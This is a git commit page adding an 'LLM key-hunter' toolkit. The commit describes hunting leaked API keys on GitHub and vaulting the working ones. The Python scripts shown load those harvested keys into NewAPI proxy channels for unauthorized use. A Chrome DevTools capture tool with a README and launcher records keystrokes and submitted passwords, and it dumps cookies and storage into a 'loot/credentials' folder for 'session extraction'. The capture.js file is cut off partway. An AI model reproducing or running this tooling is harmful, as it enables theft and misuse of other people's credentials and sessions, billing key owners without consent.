Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,73 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Add confirmed usable API keys as channels to NewAPI."""
|
||||
|
||||
from newapi_client import (
|
||||
add_channel, list_channels, test_channel,
|
||||
TYPE_ZHIPU_V4, TYPE_VOLC_ENGINE, TYPE_ANTHROPIC, TYPE_MINIMAX,
|
||||
)
|
||||
from channels_config import (
|
||||
build_zhipuai, build_volcano_ark, build_volcano_ark_coding,
|
||||
build_minimax, build_baidu_qianfan,
|
||||
)
|
||||
|
||||
|
||||
def add_zhipuai():
|
||||
"""ZhipuAI — 63 keys, multi-key mode."""
|
||||
ch, n_keys = build_zhipuai(channel_type=TYPE_ZHIPU_V4)
|
||||
success, msg = add_channel(ch, mode="multi_to_single")
|
||||
print(f"[ZhipuAI] success={success} msg={msg} keys={n_keys}")
|
||||
return success
|
||||
|
||||
|
||||
def add_volcano_ark():
|
||||
"""VolcanoArk — 4 keys, one channel each."""
|
||||
channels = build_volcano_ark(channel_type=TYPE_VOLC_ENGINE)
|
||||
results = []
|
||||
for ch in channels:
|
||||
success, msg = add_channel(ch)
|
||||
print(f"[{ch['name']}] success={success} msg={msg}")
|
||||
results.append(success)
|
||||
return all(results)
|
||||
|
||||
|
||||
def add_volcano_ark_coding():
|
||||
"""VolcanoArk CodingPlan — Anthropic-compatible."""
|
||||
ch = build_volcano_ark_coding()
|
||||
success, msg = add_channel(ch)
|
||||
print(f"[VolcanoArk-CodingPlan] success={success} msg={msg}")
|
||||
return success
|
||||
|
||||
|
||||
def add_minimax():
|
||||
ch = build_minimax(channel_type=TYPE_MINIMAX)
|
||||
success, msg = add_channel(ch)
|
||||
print(f"[MiniMax] success={success} msg={msg}")
|
||||
return success
|
||||
|
||||
|
||||
def add_baidu_qianfan():
|
||||
ch = build_baidu_qianfan()
|
||||
success, msg = add_channel(ch)
|
||||
print(f"[BaiduQianfan] success={success} msg={msg}")
|
||||
return success
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=== Adding channels to NewAPI ===\n")
|
||||
|
||||
steps = [
|
||||
("1. ZhipuAI (63 keys, multi-key)", add_zhipuai),
|
||||
("2. VolcanoArk (4 keys, separate)", add_volcano_ark),
|
||||
("3. VolcanoArk CodingPlan (Anthropic)", add_volcano_ark_coding),
|
||||
("4. MiniMax", add_minimax),
|
||||
("5. Baidu Qianfan Coding Plan", add_baidu_qianfan),
|
||||
]
|
||||
for label, fn in steps:
|
||||
print(f"--- {label} ---")
|
||||
fn()
|
||||
print()
|
||||
|
||||
print("=== Done! Listing all channels: ===\n")
|
||||
for ch in list_channels():
|
||||
print(f" ID={ch['id']:3d} type={ch['type']:2d} status={ch['status']} "
|
||||
f"name={ch['name']:30s} models={ch['models'][:60]}")
|
||||
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Add newly-hunted keys (FreeModel / DeepSeek / Kimi) to NewAPI.
|
||||
|
||||
Reads each provider's non-401 key file, probes both endpoints to find
|
||||
which one actually accepts the key, creates a channel for every
|
||||
working combination, tests it, and auto-disables channels that fail
|
||||
(so they don't break routing, but can be re-enabled later).
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from newapi_client import (
|
||||
add_channel, list_channels, update_channel, test_channel,
|
||||
TYPE_OPENAI, TYPE_ANTHROPIC,
|
||||
)
|
||||
|
||||
HERE = Path(__file__).parent
|
||||
HUNTER = HERE / "llm-key-hunter" / "results"
|
||||
|
||||
# Each entry: provider label, key file, list of endpoint specs
|
||||
# Endpoint spec: (channel_name_suffix, type, base_url, models, header_template)
|
||||
PROVIDERS = [
|
||||
{
|
||||
"name": "FreeModel",
|
||||
"file": HUNTER / "freemodel" / "all_non_401.txt",
|
||||
"parse": lambda line: line.split("|", 2)[1], # USABLE|key|src
|
||||
"endpoints": [
|
||||
{
|
||||
"suffix": "Anthropic",
|
||||
"type": TYPE_ANTHROPIC,
|
||||
"base_url": "https://cc.freemodel.dev",
|
||||
"models": (
|
||||
"claude-sonnet-4-6,claude-opus-4-6,claude-opus-5,"
|
||||
"claude-opus-4-8,claude-opus-4-7,claude-fable-5,"
|
||||
"claude-haiku-4-5,claude-sonnet-4-20250514,"
|
||||
"claude-opus-4-20250514,claude-3-5-haiku-20241022,"
|
||||
"claude-3-7-sonnet-20250219"
|
||||
),
|
||||
},
|
||||
{
|
||||
"suffix": "OpenAI",
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.freemodel.dev",
|
||||
"models": (
|
||||
"gpt-5.6-luna,gpt-5.6-sol,gpt-5.6-terra,"
|
||||
"claude-sonnet-4-20250514"
|
||||
),
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "DeepSeek",
|
||||
"file": HUNTER / "deepseek" / "all_non_401.txt",
|
||||
"parse": lambda line: line.split("|", 2)[1],
|
||||
"endpoints": [
|
||||
{
|
||||
"suffix": "",
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.deepseek.com",
|
||||
"models": "deepseek-chat,deepseek-reasoner",
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "Kimi",
|
||||
"file": HUNTER / "kimi" / "all_non_401.txt",
|
||||
"parse": lambda line: line.split("|", 2)[1],
|
||||
"endpoints": [
|
||||
{
|
||||
"suffix": "",
|
||||
"type": TYPE_OPENAI,
|
||||
"base_url": "https://api.moonshot.cn",
|
||||
"models": (
|
||||
"moonshot-v1-8k,moonshot-v1-32k,moonshot-v1-128k,"
|
||||
"kimi-k2-0905-preview,kimi-k2-turbo-preview,"
|
||||
"kimi-latest"
|
||||
),
|
||||
},
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def existing_channel_keys():
|
||||
"""Return set of keys already present in NewAPI (from full channel details)."""
|
||||
keys = set()
|
||||
for ch in list_channels():
|
||||
cid = ch["id"]
|
||||
try:
|
||||
from newapi_client import get_channel
|
||||
d = get_channel(cid)
|
||||
k = (d or {}).get("key", "")
|
||||
if k:
|
||||
keys.add(k)
|
||||
except Exception:
|
||||
pass
|
||||
return keys
|
||||
|
||||
|
||||
def main():
|
||||
print("Loading existing channels to avoid duplicates...")
|
||||
existing_keys = existing_channel_keys()
|
||||
print(f" {len(existing_keys)} unique keys already configured.\n")
|
||||
|
||||
added = []
|
||||
skipped = 0
|
||||
failed_test = 0
|
||||
|
||||
for prov in PROVIDERS:
|
||||
path = prov["file"]
|
||||
if not path.exists():
|
||||
print(f"[{prov['name']}] no file at {path}, skipping")
|
||||
continue
|
||||
|
||||
raw_keys = []
|
||||
seen = set()
|
||||
for line in path.read_text().splitlines():
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
try:
|
||||
k = prov["parse"](line)
|
||||
except IndexError:
|
||||
continue
|
||||
if k and k not in seen:
|
||||
seen.add(k)
|
||||
raw_keys.append(k)
|
||||
|
||||
print(f"[{prov['name']}] {len(raw_keys)} keys from {path.name}")
|
||||
|
||||
for idx, key in enumerate(raw_keys, 1):
|
||||
if key in existing_keys:
|
||||
print(f" [{idx}/{len(raw_keys)}] {key[:18]}... already in NewAPI, skip")
|
||||
skipped += 1
|
||||
continue
|
||||
|
||||
for ep in prov["endpoints"]:
|
||||
suffix = ep["suffix"]
|
||||
name = f"{prov['name']}_{key[-6:]}"
|
||||
if suffix:
|
||||
name = f"{name}-{suffix}"
|
||||
|
||||
channel = {
|
||||
"name": name,
|
||||
"type": ep["type"],
|
||||
"key": key,
|
||||
"base_url": ep["base_url"],
|
||||
"models": ep["models"],
|
||||
"groups": ["default"],
|
||||
"model_mapping": "",
|
||||
"priority": 0,
|
||||
"weight": 0,
|
||||
"auto_ban": 1,
|
||||
}
|
||||
success, msg = add_channel(channel)
|
||||
if not success:
|
||||
print(f" [{idx}] {name} ADD FAIL: {msg}")
|
||||
continue
|
||||
|
||||
# find new channel id
|
||||
new_id = None
|
||||
for ch in list_channels():
|
||||
if ch["name"] == name:
|
||||
new_id = ch["id"]
|
||||
break
|
||||
if new_id is None:
|
||||
print(f" [{idx}] {name} added but couldn't find id")
|
||||
continue
|
||||
|
||||
# test it
|
||||
t_ok, t_msg, _ = test_channel(new_id)
|
||||
if t_ok:
|
||||
print(f" [{idx}] {name} ID={new_id} ✅ {t_msg[:80]}")
|
||||
added.append((new_id, name, key[:18], t_msg[:80]))
|
||||
else:
|
||||
# auto-disable so it doesn't burn retries
|
||||
update_channel(new_id, status=2)
|
||||
print(f" [{idx}] {name} ID={new_id} ❌ DISABLED ({t_msg[:80]})")
|
||||
failed_test += 1
|
||||
time.sleep(0.3)
|
||||
|
||||
print()
|
||||
|
||||
print("=== Summary ===")
|
||||
print(f" Added & test-passed: {len(added)}")
|
||||
print(f" Added but auto-disabled: {failed_test}")
|
||||
print(f" Skipped (already present): {skipped}")
|
||||
if added:
|
||||
print("\nLive channels:")
|
||||
for cid, name, k, msg in added:
|
||||
print(f" ID={cid:3d} {name:35s} key={k}... {msg}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,67 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Add new usable API keys as channels to NewAPI — without modifying existing channels."""
|
||||
|
||||
from newapi_client import (
|
||||
add_channel, list_channels, list_channel_names, test_channel,
|
||||
TYPE_OPENAI, TYPE_OLLAMA,
|
||||
)
|
||||
from channels_config import build_stepfun, build_ollama_cloud, build_baidu_qianfan
|
||||
|
||||
|
||||
def main():
|
||||
existing = list_channel_names()
|
||||
print(f"Existing channels: {sorted(existing)}\n")
|
||||
|
||||
new_channels = []
|
||||
|
||||
# ─── 1. StepFun (阶跃星辰) — Anthropic-compatible ───────────────
|
||||
if "StepFun" not in existing:
|
||||
new_channels.append(build_stepfun())
|
||||
else:
|
||||
print("[SKIP] StepFun already exists")
|
||||
|
||||
# ─── 2. Ollama Cloud ────────────────────────────────────────────
|
||||
if "OllamaCloud" not in existing:
|
||||
new_channels.append(build_ollama_cloud())
|
||||
else:
|
||||
print("[SKIP] OllamaCloud already exists")
|
||||
|
||||
# ─── 3. Baidu Qianfan Coding Plan ───────────────────────────────
|
||||
if "BaiduQianfan-Coding" not in existing:
|
||||
new_channels.append(build_baidu_qianfan())
|
||||
else:
|
||||
print("[SKIP] BaiduQianfan-Coding already exists")
|
||||
|
||||
# ─── Add all new channels ───────────────────────────────────────
|
||||
for ch in new_channels:
|
||||
print(f"[ADD] {ch['name']} (type={ch['type']})...")
|
||||
success, msg = add_channel(ch)
|
||||
print(f" -> success={success} msg={msg}")
|
||||
|
||||
# If Ollama type 37 failed, retry as OpenAI type 1
|
||||
if not success and ch["type"] == TYPE_OLLAMA:
|
||||
print(f" -> Retrying {ch['name']} as OpenAI type (1)...")
|
||||
ch["type"] = TYPE_OPENAI
|
||||
success, msg = add_channel(ch)
|
||||
print(f" -> success={success} msg={msg}")
|
||||
|
||||
# Test the channel if added successfully
|
||||
if success:
|
||||
for c in list_channels():
|
||||
if c["name"] == ch["name"]:
|
||||
print(f" -> Testing channel ID={c['id']}...")
|
||||
t_success, t_msg, _ = test_channel(c["id"])
|
||||
print(f" -> test: success={t_success} msg={t_msg[:100]}")
|
||||
break
|
||||
|
||||
print()
|
||||
|
||||
# ─── Final listing ──────────────────────────────────────────────
|
||||
print("=== All channels after update: ===\n")
|
||||
for ch in list_channels():
|
||||
print(f" ID={ch['id']:3d} type={ch['type']:2d} status={ch['status']} "
|
||||
f"name={ch['name']:35s} models={str(ch.get('models', ''))[:80]}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+169
@@ -0,0 +1,169 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
One-command browser session capture.
|
||||
Launches Chrome with CDP + starts the capture tool in one shot.
|
||||
|
||||
.DESCRIPTION
|
||||
This script does everything:
|
||||
1. Launches Chrome with --remote-debugging-port
|
||||
2. Waits for CDP endpoint to be ready
|
||||
3. Starts the Node.js capture tool
|
||||
4. On Ctrl+C, saves cookies/storage and cleans up
|
||||
|
||||
.PARAMETER UseRealProfile
|
||||
Use your real Chrome profile (logins, cookies, sessions).
|
||||
WARNING: Existing Chrome will be closed first.
|
||||
|
||||
.PARAMETER Port
|
||||
CDP port (default: 9222)
|
||||
|
||||
.PARAMETER Url
|
||||
Starting URL (default: about:blank)
|
||||
|
||||
.PARAMETER Screenshot
|
||||
Take screenshot on each navigation
|
||||
|
||||
.PARAMETER Dom
|
||||
Save DOM snapshot on each navigation
|
||||
|
||||
.PARAMETER Bodies
|
||||
Capture response bodies (heavy)
|
||||
|
||||
.PARAMETER AllTabs
|
||||
Capture all tabs (default: first tab only)
|
||||
|
||||
.PARAMETER Filter
|
||||
Only capture network requests matching this regex
|
||||
|
||||
.PARAMETER NoInteractions
|
||||
Disable interaction capture
|
||||
|
||||
.PARAMETER NoNetwork
|
||||
Disable network capture
|
||||
|
||||
.PARAMETER NoConsole
|
||||
Disable console capture
|
||||
|
||||
.EXAMPLE
|
||||
.\capture.ps1 -UseRealProfile
|
||||
Launch Chrome with your real profile and start capturing
|
||||
|
||||
.EXAMPLE
|
||||
.\capture.ps1 -UseRealProfile -Screenshot -Dom -AllTabs
|
||||
Full capture: all tabs, screenshots, DOM snapshots
|
||||
|
||||
.EXAMPLE
|
||||
.\capture.ps1 -UseRealProfile -Url "https://example.com" -Filter "/api/"
|
||||
Start at example.com, only capture API calls
|
||||
#>
|
||||
|
||||
param(
|
||||
[switch]$UseRealProfile,
|
||||
[int]$Port = 9222,
|
||||
[string]$Url = "about:blank",
|
||||
[switch]$Screenshot,
|
||||
[switch]$Dom,
|
||||
[switch]$Bodies,
|
||||
[switch]$AllTabs,
|
||||
[string]$Filter = "",
|
||||
[switch]$NoInteractions,
|
||||
[switch]$NoNetwork,
|
||||
[switch]$NoConsole
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$projectRoot = Resolve-Path "$PSScriptRoot\..\.."
|
||||
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
|
||||
$captureScript = "$PSScriptRoot\cdp-capture\capture.js"
|
||||
|
||||
# ─── Find Chrome ─────────────────────────────────────────────
|
||||
if (-not (Test-Path $chromePath)) {
|
||||
$altPaths = @(
|
||||
"$env:ProgramFiles\Google\Chrome\Application\chrome.exe",
|
||||
"${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe",
|
||||
"$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe"
|
||||
)
|
||||
foreach ($p in $altPaths) { if (Test-Path $p) { $chromePath = $p; break } }
|
||||
if (-not (Test-Path $chromePath)) {
|
||||
Write-Host "❌ Chrome not found!" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
}
|
||||
|
||||
# ─── Determine profile ───────────────────────────────────────
|
||||
if ($UseRealProfile) {
|
||||
$procs = Get-Process chrome -ErrorAction SilentlyContinue
|
||||
if ($procs) {
|
||||
Write-Host "⚠️ Closing existing Chrome to use your real profile..." -ForegroundColor Yellow
|
||||
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\User Data"
|
||||
} else {
|
||||
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\Capture-Profile"
|
||||
}
|
||||
|
||||
# ─── Banner ──────────────────────────────────────────────────
|
||||
Write-Host ""
|
||||
Write-Host "╔══════════════════════════════════════════════════╗" -ForegroundColor Cyan
|
||||
Write-Host "║ One-Shot Browser Session Capture ║" -ForegroundColor Cyan
|
||||
Write-Host "╚══════════════════════════════════════════════════╝" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host " Port: $Port" -ForegroundColor White
|
||||
Write-Host " Profile: $(if ($UseRealProfile) { 'Real (your logins)' } else { 'Fresh capture profile' })" -ForegroundColor White
|
||||
Write-Host " URL: $Url" -ForegroundColor White
|
||||
Write-Host ""
|
||||
|
||||
# ─── Step 1: Launch Chrome ───────────────────────────────────
|
||||
Write-Host "[1/2] Launching Chrome..." -NoNewline -ForegroundColor Cyan
|
||||
|
||||
$chromeArgs = @(
|
||||
"--remote-debugging-port=$Port",
|
||||
"--user-data-dir=`"$userDataDir`"",
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
$Url
|
||||
)
|
||||
$chromeProc = Start-Process -FilePath $chromePath -ArgumentList $chromeArgs -PassThru
|
||||
|
||||
# Wait for CDP
|
||||
$ready = $false
|
||||
for ($i = 0; $i -lt 30; $i++) {
|
||||
Start-Sleep -Milliseconds 500
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://localhost:$Port/json/version" -ErrorAction Stop | Out-Null
|
||||
$ready = $true; break
|
||||
} catch {}
|
||||
}
|
||||
if (-not $ready) { Write-Host " FAILED" -ForegroundColor Red; exit 1 }
|
||||
Write-Host " Ready!" -ForegroundColor Green
|
||||
|
||||
# ─── Step 2: Start capture ───────────────────────────────────
|
||||
Write-Host "[2/2] Starting capture..." -ForegroundColor Cyan
|
||||
Write-Host " Press Ctrl+C to stop and save session data." -ForegroundColor DarkGray
|
||||
Write-Host ""
|
||||
|
||||
# Build node args
|
||||
$nodeArgs = @("capture.js", "--port=$Port")
|
||||
if ($Screenshot) { $nodeArgs += "--screenshot" }
|
||||
if ($Dom) { $nodeArgs += "--dom" }
|
||||
if ($Bodies) { $nodeArgs += "--bodies" }
|
||||
if ($AllTabs) { $nodeArgs += "--tab=-1" }
|
||||
if ($Filter -ne "") { $nodeArgs += "--filter=$Filter" }
|
||||
if ($NoInteractions) { $nodeArgs += "--no-interactions" }
|
||||
if ($NoNetwork) { $nodeArgs += "--no-network" }
|
||||
if ($NoConsole) { $nodeArgs += "--no-console" }
|
||||
|
||||
# Run capture in foreground — Ctrl+C will stop it
|
||||
Push-Location "$PSScriptRoot\cdp-capture"
|
||||
try {
|
||||
& node $nodeArgs
|
||||
} finally {
|
||||
Pop-Location
|
||||
# Clean up Chrome if it's still running
|
||||
if ($chromeProc -and -not $chromeProc.HasExited) {
|
||||
Write-Host ""
|
||||
Write-Host "Closing Chrome..." -ForegroundColor DarkGray
|
||||
Stop-Process -Id $chromeProc.Id -Force -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
Executable
+185
@@ -0,0 +1,185 @@
|
||||
# CDP Capture — Browser Session Recorder
|
||||
|
||||
> Connects to your **real Chrome browser** via Chrome DevTools Protocol and records everything you do.
|
||||
|
||||
## Quick Start
|
||||
|
||||
### 1. Launch Chrome with debugging enabled
|
||||
|
||||
```powershell
|
||||
# Fresh profile (no logins)
|
||||
.\tools\scripts\launch-chrome.ps1
|
||||
|
||||
# Your real profile (with all your logins/cookies)
|
||||
.\tools\scripts\launch-chrome.ps1 -UseRealProfile
|
||||
|
||||
# Custom port and starting URL
|
||||
.\tools\scripts\launch-chrome.ps1 -Port 9223 -Url "https://example.com"
|
||||
```
|
||||
|
||||
### 2. Start the capture tool
|
||||
|
||||
```powershell
|
||||
cd tools\scripts\cdp-capture
|
||||
npm install # first time only
|
||||
node capture.js # start capturing
|
||||
```
|
||||
|
||||
### 3. Browse normally
|
||||
|
||||
Open tabs, log in, click around, fill forms. Everything is recorded in real-time.
|
||||
|
||||
### 4. Press `Ctrl+C` to stop
|
||||
|
||||
Cookies, localStorage, and session summary are saved on exit.
|
||||
|
||||
---
|
||||
|
||||
## Options
|
||||
|
||||
```
|
||||
node capture.js [options]
|
||||
|
||||
--port=<port> CDP port (default: 9222)
|
||||
--host=<host> CDP host (default: localhost)
|
||||
--tab=<index> Tab to attach to (default: 0, use -1 for all tabs)
|
||||
--screenshot Take screenshot on each navigation
|
||||
--dom Save DOM snapshot on each navigation
|
||||
--bodies Capture response bodies (heavy!)
|
||||
--filter=<regex> Only capture network requests matching URL pattern
|
||||
--outdir=<path> Base output directory (default: project root)
|
||||
--no-interactions Disable interaction capture
|
||||
--no-network Disable network capture
|
||||
--no-console Disable console capture
|
||||
```
|
||||
|
||||
### Examples
|
||||
|
||||
```powershell
|
||||
# Capture everything from all tabs, with screenshots and DOM
|
||||
node capture.js --tab=-1 --screenshot --dom
|
||||
|
||||
# Only capture API calls, ignore static resources
|
||||
node capture.js --filter="/api/|/graphql|/auth"
|
||||
|
||||
# Capture response bodies too (for analyzing API responses)
|
||||
node capture.js --bodies --filter="/api/"
|
||||
|
||||
# Capture from a specific tab
|
||||
node capture.js --tab=2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## What Gets Captured
|
||||
|
||||
| Data | File | Description |
|
||||
|---|---|---|
|
||||
| **Network requests** | `logs/<session>/network.jsonl` | Every HTTP request: URL, method, headers, POST data |
|
||||
| **Network responses** | `logs/<session>/network.jsonl` | Status, headers, MIME type, remote IP |
|
||||
| **Response bodies** | `logs/<session>/network_bodies.jsonl` | Response body content (with `--bodies`) |
|
||||
| **Console messages** | `logs/<session>/console.jsonl` | console.log/warn/error + exceptions |
|
||||
| **User interactions** | `logs/<session>/interactions.jsonl` | Clicks, inputs, form submits, keydowns |
|
||||
| **Navigations** | `logs/<session>/navigations.jsonl` | URL changes, page loads |
|
||||
| **Screenshots** | `evidence/screenshots/<session>/` | PNG screenshots (with `--screenshot`) |
|
||||
| **DOM snapshots** | `scans/host/<session>/` | Full HTML of page (with `--dom`) |
|
||||
| **Cookies** | `loot/credentials/<session>/cookies_tab*.json` | All cookies (on exit) |
|
||||
| **localStorage** | `loot/credentials/<session>/localStorage_tab*.json` | All localStorage (on exit) |
|
||||
| **sessionStorage** | `loot/credentials/<session>/sessionStorage_tab*.json` | All sessionStorage (on exit) |
|
||||
| **Summary** | `logs/<session>/summary.json` | Session stats and metadata |
|
||||
|
||||
---
|
||||
|
||||
## Interaction Data Format
|
||||
|
||||
Each interaction is a JSON line in `interactions.jsonl`:
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "click",
|
||||
"target": {
|
||||
"tag": "button",
|
||||
"id": "submit-btn",
|
||||
"class": "btn btn-primary",
|
||||
"text": "Login",
|
||||
"xpath": "/html[1]/body[1]/div[1]/form[1]/button[1]"
|
||||
},
|
||||
"timestamp": 1722000000000,
|
||||
"url": "https://example.com/login"
|
||||
}
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "input",
|
||||
"target": {
|
||||
"tag": "input",
|
||||
"name": "username",
|
||||
"type": "text",
|
||||
"value": "admin"
|
||||
},
|
||||
"timestamp": 1722000001000,
|
||||
"url": "https://example.com/login"
|
||||
}
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "submit",
|
||||
"target": {
|
||||
"tag": "form",
|
||||
"action": "https://example.com/api/login",
|
||||
"method": "post"
|
||||
},
|
||||
"formData": {
|
||||
"username": "admin",
|
||||
"password": "secret123"
|
||||
},
|
||||
"timestamp": 1722000002000,
|
||||
"url": "https://example.com/login"
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## How It Works
|
||||
|
||||
```
|
||||
Chrome (--remote-debugging-port=9222)
|
||||
│
|
||||
├── CDP WebSocket connection
|
||||
│
|
||||
├── Network domain → all HTTP requests/responses
|
||||
├── Runtime domain → console messages + JS evaluation
|
||||
├── Page domain → navigation events + screenshots
|
||||
├── DOM domain → DOM snapshots
|
||||
│
|
||||
└── Injected JS listeners → clicks, inputs, form submits
|
||||
│
|
||||
└── __capture() binding → CDP event → JSONL file
|
||||
```
|
||||
|
||||
The script injects JavaScript event listeners into every page via `Runtime.addBinding`. These listeners capture user interactions and send them back through CDP's binding mechanism — no console.log pollution, no polling, real-time capture.
|
||||
|
||||
---
|
||||
|
||||
## Use Cases
|
||||
|
||||
1. **Login flow capture** — Record yourself logging into a site, then replay/automate it
|
||||
2. **API reverse engineering** — See all API calls, headers, and payloads as you browse
|
||||
3. **Session extraction** — Grab cookies and tokens for use in scripts
|
||||
4. **Evidence collection** — Screenshots and DOM snapshots for reports
|
||||
5. **User behavior analysis** — See exactly what was clicked and typed
|
||||
|
||||
---
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
tools/scripts/
|
||||
├── cdp-capture/
|
||||
│ ├── package.json # Dependencies
|
||||
│ ├── capture.js # Main capture script
|
||||
│ └── README.md # This file
|
||||
└── launch-chrome.ps1 # Chrome launcher with CDP enabled
|
||||
```
|
||||
Executable
+525
@@ -0,0 +1,525 @@
|
||||
/**
|
||||
* CDP Capture — Chrome DevTools Protocol session recorder
|
||||
*
|
||||
* Connects to a real Chrome instance via CDP and captures:
|
||||
* - All network requests (URL, method, headers, body, response)
|
||||
* - All console messages
|
||||
* - All user interactions (clicks, inputs, form submits)
|
||||
* - All page navigations
|
||||
* - Cookies & localStorage (on exit or on demand)
|
||||
* - DOM snapshots & screenshots (on demand or per-navigation)
|
||||
*
|
||||
* Usage:
|
||||
* node capture.js [options]
|
||||
*
|
||||
* Options:
|
||||
* --port=<port> CDP port (default: 9222)
|
||||
* --host=<host> CDP host (default: localhost)
|
||||
* --tab=<index> Tab index to attach to (default: 0, use -1 for all tabs)
|
||||
* --screenshot Take screenshot on each navigation
|
||||
* --dom Save DOM snapshot on each navigation
|
||||
* --bodies Capture response bodies (default: off, can be heavy)
|
||||
* --filter=<regex> Only capture network requests matching this URL pattern
|
||||
* --outdir=<path> Base output directory (default: ../../.. i.e. project root)
|
||||
* --no-interactions Disable interaction capture
|
||||
* --no-network Disable network capture
|
||||
* --no-console Disable console capture
|
||||
*/
|
||||
|
||||
const CDP = require('chrome-remote-interface');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
// ─── CLI Args ───────────────────────────────────────────────
|
||||
function parseArgs() {
|
||||
const args = { port: 9222, host: 'localhost', tab: 0, outdir: null,
|
||||
screenshot: false, dom: false, bodies: false, filter: null,
|
||||
interactions: true, network: true, console: true };
|
||||
|
||||
for (const arg of process.argv.slice(2)) {
|
||||
const [key, val] = arg.startsWith('--') ? arg.slice(2).split('=') : [arg, true];
|
||||
switch (key) {
|
||||
case 'port': args.port = parseInt(val); break;
|
||||
case 'host': args.host = val; break;
|
||||
case 'tab': args.tab = parseInt(val); break;
|
||||
case 'screenshot': args.screenshot = true; break;
|
||||
case 'dom': args.dom = true; break;
|
||||
case 'bodies': args.bodies = true; break;
|
||||
case 'filter': args.filter = val; break;
|
||||
case 'outdir': args.outdir = val; break;
|
||||
case 'no-interactions': args.interactions = false; break;
|
||||
case 'no-network': args.network = false; break;
|
||||
case 'no-console': args.console = false; break;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// ─── Session Setup ──────────────────────────────────────────
|
||||
const args = parseArgs();
|
||||
const now = new Date();
|
||||
const ts = now.toISOString().replace(/[:.]/g, '-').slice(0, 19);
|
||||
const sessionName = `session_${ts}`;
|
||||
|
||||
const projectRoot = args.outdir
|
||||
? path.resolve(args.outdir)
|
||||
: path.resolve(__dirname, '..', '..', '..');
|
||||
|
||||
const dirs = {
|
||||
logs: path.join(projectRoot, 'logs', sessionName),
|
||||
scans: path.join(projectRoot, 'scans', 'host', sessionName),
|
||||
screenshots: path.join(projectRoot, 'evidence', 'screenshots', sessionName),
|
||||
loot: path.join(projectRoot, 'loot', 'credentials', sessionName),
|
||||
};
|
||||
|
||||
for (const d of Object.values(dirs)) fs.mkdirSync(d, { recursive: true });
|
||||
|
||||
// ─── Output Writers ─────────────────────────────────────────
|
||||
const writers = {};
|
||||
function getWriter(name) {
|
||||
if (!writers[name]) {
|
||||
writers[name] = fs.createWriteStream(path.join(dirs.logs, `${name}.jsonl`), { flags: 'a' });
|
||||
}
|
||||
return writers[name];
|
||||
}
|
||||
|
||||
function writeLine(name, obj) {
|
||||
const w = getWriter(name);
|
||||
w.write(JSON.stringify(obj) + '\n');
|
||||
}
|
||||
|
||||
// ─── Interaction Injection Script ───────────────────────────
|
||||
const injectScript = `
|
||||
(function() {
|
||||
if (window.__cdpCaptureInjected) return;
|
||||
window.__cdpCaptureInjected = true;
|
||||
|
||||
function serialize(el) {
|
||||
if (!el) return null;
|
||||
return {
|
||||
tag: el.tagName?.toLowerCase(),
|
||||
id: el.id || undefined,
|
||||
class: el.className?.toString()?.substring(0, 300) || undefined,
|
||||
text: el.innerText?.substring(0, 300) || undefined,
|
||||
href: el.href || undefined,
|
||||
name: el.name || undefined,
|
||||
type: el.type || undefined,
|
||||
value: el.value?.substring(0, 1000) || undefined,
|
||||
action: el.action || undefined,
|
||||
method: el.method || undefined,
|
||||
xpath: (function() {
|
||||
try {
|
||||
const s = [];
|
||||
let n = el;
|
||||
while (n && n.nodeType === 1) {
|
||||
let idx = 1, sib = n.previousElementSibling;
|
||||
while (sib) { if (sib.tagName === n.tagName) idx++; sib = sib.previousElementSibling; }
|
||||
s.unshift(n.tagName.toLowerCase() + '[' + idx + ']');
|
||||
n = n.parentElement;
|
||||
}
|
||||
return '/' + s.join('/');
|
||||
} catch(e) { return undefined; }
|
||||
})()
|
||||
};
|
||||
}
|
||||
|
||||
// Capture clicks
|
||||
document.addEventListener('click', function(e) {
|
||||
__capture(JSON.stringify({
|
||||
type: 'click',
|
||||
